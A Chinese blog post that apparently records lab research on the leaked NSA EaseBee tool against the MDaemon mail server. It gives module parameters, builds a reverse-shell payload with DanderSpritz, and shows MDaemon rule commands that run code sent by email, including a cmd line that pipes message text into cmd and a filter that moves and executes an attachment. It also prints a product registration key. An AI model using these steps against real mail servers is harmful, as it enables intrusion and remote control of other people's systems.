• 本文作者: 雨, 夜
  • |
  • 2017年5月4日
  • |
  • 漏洞分析
  • |

NSA Fuzzbunch中EaseBee利用方法研究及MDaemon漏洞分析

阿尔法实验室:雨夜

0×01 概述

EaseBee是NSA开发的针对邮件系统MDaemon代码执行漏洞的一个工具,它支持多个版本MDaemon是一款著名的标准SMTP/POP/IMAP邮件服务系统,由美国Alt-N公司开发。它提供完整的邮件服务器功能,保护用户不受垃圾邮件的干扰,实现网页登陆收发邮件,支持远程管理,并且当与MDaemon AntiVirus插件结合使用时,它还保护系统防御邮件病毒。它安全,可靠,功能强大,是世界上成千上万的公司广泛使用的邮件服务器。

0×02 环境搭建

1

在靶机上安装 MDaemon 9.6.6

如果遇到下图错误

2

请参考http://www.jb51.net/os/windows/Win2003/85144.html解决,否则MDaemon无法启动

注册码:FNATFSY-CPBSDWO-AKOKPXX

域名自行设置 test.com (后面要用到)

3

将“此账户是管理员”选上

4

0×03 漏洞验证

在攻击机上运行fb.py,并设置基本参数

5

使用 EaseBee 模块

6

这个模块的参数比较多,其中

TargetWCPort  :3000 (默认3000)

TargetWAPort  : 1000

WorldClientProtocol : http(默认为non-ssl),可以查看服务器

 7

WorldClientDomain : 192.167.30.201,如果输入配置的域名需要修改HOSTS文件(为了方便直接输入IP)

WorldClientPort  :3000

WebAdminProtocol  :http

WebAdminDomain  :192.167.30.201

WebAdminPort   : 1000

TargetAcctDomain :  test.com (安装时输入的域名)

TargetAcctUsr:   hello  (这里一定不要带 @test.com)

TargetAcctPwd : Test123

PayloadName:111.exe

PayloadFile:C:\

9

运行后一直提示无法找到payload file (此处浪费了不少时间)

10

之后又试了靶机的几个路径都提示同样的错误,无奈找@漠北狂刀大牛逆了一下这个exe,通过找错误提示的字符串快速定位到代码位置

11

从图中可以看出参数读取后,有一个fopen的动作,Filename对应的参数就是PayloadFile,所以应该是一个全路径

输入完整路径

PayloadFile     c:\111.exe (111.exe生成方法,下文会说)

12

这里选择安装的MDaemon中WorldClient对应的版本号即可,如果不知道版本号可以用

\windows\touches\目录下的两个脚本,帮助探测WC与WA的版本号

13

0×04 DanderSpritz工具介绍

网上有好多同学在反连shell的时候都是用msf,其实这个工具包里自带的就有一个好用的工具DanderSpritz

双击Start.jar或者运行start_lp.py,如图

14

设置log路径,进入主界面

15

输入help,查看命令

16

各个命令的作用可以自己研究

输入pc_prep,查看payload列表

17

选择3,使用Standard TCP反弹shell,根据提示配置参数

18

19

配置成功后,生成payload,将文件copy到C:\111.exe

在PeddleCheap中选择listen,开启监听(默认监听端口80/443/53/1509)

20

21

在FB中执行 execute

22

大约几秒后DanderSpritz会有连接提示

23

输入yes,靶机的系统信息被回传显示

24

进程信息

25

驱动信息

26

0×05 MDaemon漏洞分析

根据log文件分析,MDaemon存在几处执行命令的地方

使用hello登录WA,查看 My Account->Auto Resp

在设置自动回复的地方存在一处命令执行(需要有管理员权限)

勾选自动回复

27

在Run Program(普通用户无此选项)处输入

cmd /c “type $MESSAGE$ | findstr /b @@ | cmd /v”

给hello@test.com发送邮件, payload(读取服务器文件内容)如下

29

30

发送后,在hello的收件箱里可以看到服务器的信息

路径信息

32

找到MDaemon的物理路径及密文

34

MDaemon是内置的账户,查看明文密码的方法如下:

35

点击Users->Export用户信息保存在导出文件里

36

使用MDaemon账户登录WA,在Content Filter中,新建过滤规则

37

将以下几项选上

38

设置内容

39

过滤的字符串SUBJECT HEADER contains  “subject”

指定上传的附件名:EmailFile (附件为上文中生成的111.exe)

Run a program :

40

File Path写入:

cmd /c “move /Y  EmailFile  c:\111.exe & c:\111.exe & del c:\111.exe”

c:\111.exe为上传到服务器的路径

41

使用hello登录WC

发送邮件主题为qwe

再次发送一封带附件的(EmailFile)邮件,主题:subject(设置的过滤字符串)

42

添加附件

43

再次发送邮件

Payload:

http://192.167.30.201:3000/WorldClient.dll?Session=DSMQIQW&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes

postdata:

1212112

可以看到111.exe已经运行了

44

0×06 总结

1.使用EasyBee的时候遇到了几个坑(其中xml文件中有这么几个提示“Filename for executable payload once on the target”,当时在target试了好几次没成功),浪费了不少时间。所以说自己在写工具的时候备注、用法一定得详细,否则容易误导

2.第一次测试是在10.0.1上,未成功,在9.6.6上测试成功,其他版本未测试。根据xml的说明,EaseBee应该只对 9.5.2-10.1.2版本有用

Written by 雨, 夜